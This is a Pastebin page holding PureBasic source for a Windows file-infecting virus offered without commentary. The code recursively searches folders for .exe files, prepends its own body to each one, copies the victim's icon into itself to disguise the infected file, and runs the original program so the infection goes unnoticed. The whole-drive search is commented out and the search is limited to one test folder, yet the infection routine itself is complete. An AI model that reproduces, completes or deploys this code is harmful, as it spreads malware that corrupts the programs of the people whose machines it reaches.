Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- EnableExplicit
- Global TmpPath$
- Global VirSize=18944
- Global icOffset=14496
- Declare isDriveReady(Path$)
- Declare GetIcon(FileName.s, *P)
- Declare FindFiles(Path$,*P, hndl)
- Declare Infect(Path$, *P)
- Declare DoSearch(*P, handle)
- Declare Start()
- Declare.s RndName()
- Procedure isDriveReady(Path$)
- If Right(Path$,1) <> "\":Path$+"\":EndIf
- ProcedureReturn GetVolumeInformation_(@Path$,0,0,0,0,0,0,0)
- EndProcedure
- Procedure GetIcon(FileName.s, *P)
- Protected iconinfo.ICONINFO, hbmMask, hbmColor
- Protected cbitmap.BITMAP, cwidth, cheight, cbitsperpixel, colorcount, colorplanes
- Protected mbitmap.BITMAP, mwidth, mheight, fIcon, xHotspot, yHotspot, ch
- Protected imagebytecount, hdc, oldbitmap, mem, bytesinrow, temp
- Protected *bitmapinfo.BITMAPINFO
- Protected *PP,hIcon
- *PP=*P
- hIcon=0
- ExtractIconEx_(@FileName,0,@hIcon,0,1)
- If Not(GetIconInfo_(hIcon, iconinfo)) : ProcedureReturn 0 : EndIf
- fIcon=2-iconinfo\fIcon
- *bitmapinfo = GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,SizeOf(BITMAPINFO) + SizeOf(RGBQUAD)<<8)
- hbmMask=iconinfo\hbmMask
- GetObject_(hbmMask, SizeOf(BITMAP),mbitmap)
- mwidth= mbitmap\bmWidth
- mheight= mbitmap\bmHeight
- hbmColor=iconinfo\hbmColor
- If hbmColor
- GetObject_(hbmColor, SizeOf(BITMAP),cbitmap)
- cwidth= cbitmap\bmWidth
- cheight= cbitmap\bmHeight
- cbitsperpixel = cbitmap\bmBitsPixel
- If cbitsperpixel = 0 : cbitsperpixel = 1 : EndIf
- If cbitsperpixel < 8
- colorcount=Pow(2,cbitsperpixel)
- EndIf
- colorplanes=cbitmap\bmplanes
- Else
- cwidth= mwidth
- cheight= mheight/2
- cbitsperpixel = 1
- colorcount=2
- colorplanes=1
- mheight=cheight
- EndIf
- imagebytecount=SizeOf(BITMAPINFOHEADER)
- RtlMoveMemory_(*PP,@imagebytecount,4)
- *PP+4
- RtlMoveMemory_(*PP,@cwidth,4)
- *PP+4
- ch=cheight+mheight
- RtlMoveMemory_(*PP,@ch,4)
- *PP+4
- RtlMoveMemory_(*PP,@colorplanes,2)
- *PP+2
- RtlMoveMemory_(*PP,@cbitsperpixel,2)
- *PP+26
- hdc=CreateCompatibleDC_(0)
- If hbmColor = 0
- RtlMoveMemory_(*PP,#Black,4)
- *PP+4
- RtlMoveMemory_(*PP,#White,4)
- *PP+4
- imagebytecount+SizeOf(rgbquad)*2
- ElseIf cbitsperpixel<=8
- temp=Pow(2,cbitsperpixel)
- bytesinrow = SizeOf(rgbquad)*temp
- mem=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,bytesinrow)
- oldbitmap=SelectObject_(hdc, hbmColor)
- GetDIBColorTable_(hdc, 0, temp, mem)
- RtlMoveMemory_(*PP, mem, bytesinrow)
- *PP+bytesinrow
- GlobalFree_(mem)
- SelectObject_(hdc, oldbitmap)
- imagebytecount+bytesinrow
- EndIf
- bytesinrow = (cwidth*cbitsperpixel+31)/32*4
- bytesinrow * cheight
- mem=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,bytesinrow)
- *bitmapinfo\bmiHeader\biSize=SizeOf(BITMAPINFOHEADER)
- *bitmapinfo\bmiHeader\biWidth=cwidth
- *bitmapinfo\bmiHeader\biPlanes=colorplanes
- *bitmapinfo\bmiHeader\biBitCount=cbitsperpixel
- If hbmColor
- *bitmapinfo\bmiHeader\biHeight=cheight
- GetDIBits_(hdc,hbmColor,0,cheight,mem,*bitmapinfo,#DIB_RGB_COLORS)
- Else
- *bitmapinfo\bmiHeader\biHeight=2*cheight
- GetDIBits_(hdc,hbmMask,0,cheight,mem,*bitmapinfo,#DIB_RGB_COLORS)
- EndIf
- RtlMoveMemory_(*PP, mem, bytesinrow)
- *PP+bytesinrow
- GlobalFree_(mem)
- imagebytecount+bytesinrow
- bytesinrow = (mwidth+31)/32*4
- bytesinrow * mheight
- mem=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT, bytesinrow)
- *bitmapinfo\bmiHeader\biWidth=mwidth
- *bitmapinfo\bmiHeader\biPlanes=1
- *bitmapinfo\bmiHeader\biBitCount=1
- If hbmColor
- *bitmapinfo\bmiHeader\biHeight=mheight
- GetDIBits_(hdc,hbmMask,0,mheight,mem,*bitmapinfo,#DIB_RGB_COLORS)
- Else
- *bitmapinfo\bmiHeader\biHeight=2*mheight
- GetDIBits_(hdc,hbmMask,mheight,mheight,mem,*bitmapinfo,#DIB_RGB_COLORS)
- EndIf
- RtlMoveMemory_(*PP,mem, bytesinrow)
- GlobalFree_(mem)
- DeleteDC_(hdc)
- DeleteObject_(hbmMask)
- DeleteObject_(hbmColor)
- GlobalFree_(*bitmapinfo)
- ProcedureReturn 1
- EndProcedure
- Procedure FindFiles(Path$, *P,hndl)
- Define hFind.i,WD.WIN32_FIND_DATA,fPath$, fName$,fExt$
- If Right(Path$,1) <> "\":Path$=Path$+"\":EndIf
- hFind=FindFirstFile_(Path$+"*.*",WD)
- If hFind <> #INVALID_HANDLE_VALUE
- Repeat
- If hndl <> #INVALID_HANDLE_VALUE And WaitForSingleObject_(hndl,0) <> #WAIT_TIMEOUT:Break:EndIf
- fName$=PeekS(@wd\cFileName[0])
- If fName$ <> "." And fName$ <> ".."
- fName$=Path$+fName$
- If (WD\dwFileAttributes & #FILE_ATTRIBUTE_DIRECTORY)=#FILE_ATTRIBUTE_DIRECTORY
- FindFiles(fName$, *P, hndl)
- Else
- fExt$=Right(fName$,3)
- fExt$=LCase(fExt$)
- If fExt$="exe"
- Infect(fName$, *P)
- EndIf
- EndIf
- EndIf
- Until FindNextFile_(hFind, WD) <> #True
- FindClose_(hFind)
- EndIf
- EndProcedure
- Procedure Infect(Path.s, *P)
- Define hFile.i,fSize.i,*nBuff, BR,*IC
- *IC=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,4286)
- GetIcon(Path, *IC)
- hFile=CreateFile_(@Path,#GENERIC_READ|#GENERIC_WRITE,#FILE_SHARE_READ,0,#OPEN_EXISTING,0,0)
- If hFile=#INVALID_HANDLE_VALUE:Goto Close:EndIf
- fSize=GetFileSize_(hFile,0)
- If fSize < 16000 And fSize > 5194368 :Goto Close :EndIf
- BR=0
- *nBuff=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,fSize+VirSize)
- RtlMoveMemory_(*nBuff, *P, VirSize)
- RtlMoveMemory_(*nBuff+icoffset,*IC, 4264)
- SetFilePointer_(hFile,0,0,#FILE_BEGIN)
- ReadFile_(hFile,*nBuff+VirSize,fSize,@BR,0)
- If CompareMemory(*P, *nBuff+VirSize,200) <> 0:Goto Exit:EndIf
- SetFilePointer_(hFile,0,0,#FILE_BEGIN)
- SetEndOfFile_(hFile)
- WriteFile_(hFile, *nBuff, fSize+VirSize, @BR,0)
- SetEndOfFile_(hFile)
- Exit:
- GlobalFree_(*nBuff)
- Close:
- CloseHandle_(hFile)
- GlobalFree_(*IC)
- EndProcedure
- Procedure DoSearch(*P, handle)
- ; Define C$,I
- ; For I=67 To 90
- ; FindFiles(Chr(I)+":\", *P,handle)
- ; Next
- findfiles("C:\olo",*P, Handle)
- EndProcedure
- Procedure.s RndName()
- Define I,R,Result$
- Result$=""
- For I=1 To 4
- R=Random(91)
- If R < 65
- R=65
- ElseIf R> 90
- R=90
- EndIf
- Result$+Chr(R)
- Next
- ProcedureReturn Result$
- EndProcedure
- Procedure Start()
- Define hFile.i,fSize.i, BR.l, *FBuff,PI.PROCESS_INFORMATION,SI.STARTUPINFO, rName$,AppName$
- SetErrorMode_(#SEM_FAILCRITICALERRORS)
- TmpPath$=Space(300)
- RSet(TmpPath$,GetTempPath_(300, @TmpPath$))
- AppName$=Space(300)
- RSet(AppName$, GetModuleFileName_(0,@AppName$,300))
- hFile=CreateFile_(AppName$, #GENERIC_READ,#FILE_SHARE_READ,0,#OPEN_EXISTING,0,0)
- If hFile=#INVALID_HANDLE_VALUE:End :EndIf
- fSize=GetFileSize_(hFile,0)
- *FBuff=GlobalAlloc_(#GMEM_FIXED|#GMEM_ZEROINIT,fSize)
- SetFilePointer_(hFile,0,0,#FILE_BEGIN)
- ReadFile_(hFile,*FBuff,fSize,@BR,0)
- CloseHandle_(hFile)
- If fSize > VirSize
- rName$=rndName()
- rName$=TmpPath$+rName$
- MoveFile_(@AppName$, @rName$)
- hFile=CreateFile_(@AppName$, #GENERIC_WRITE,#FILE_SHARE_READ,0,#CREATE_ALWAYS,0,0)
- If hFile=#INVALID_HANDLE_VALUE:End :EndIf
- SetFilePointer_(hFile,0,0,#FILE_BEGIN)
- WriteFile_(hFile,*fBuff+VirSize,fSize-VirSize,@BR,0)
- SetFilePointer_(hFile,fSize-VirSize,0,#FILE_BEGIN)
- WriteFile_(hFile,*fBuff,VirSize,@BR,0)
- SetEndOfFile_(hFile)
- CloseHandle_(hFile)
- ZeroMemory_(@PI, SizeOf(PROCESS_INFORMATION))
- ZeroMemory_(@SI, SizeOf(STARTUPINFO))
- CreateProcess_(@AppName$, GetCommandLine_(),0,0,0,0,0,0,@SI,@PI)
- DoSearch(*fBuff, PI\hProcess)
- Repeat
- If DeleteFile_(@AppName$)
- MoveFile_(@rName$, @AppName$)
- Break
- EndIf
- Sleep_(100)
- ForEver
- EndIf
- DoSearch(*fBuff,#INVALID_HANDLE_VALUE)
- GlobalFree_(*fBuff)
- EndProcedure
- Start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement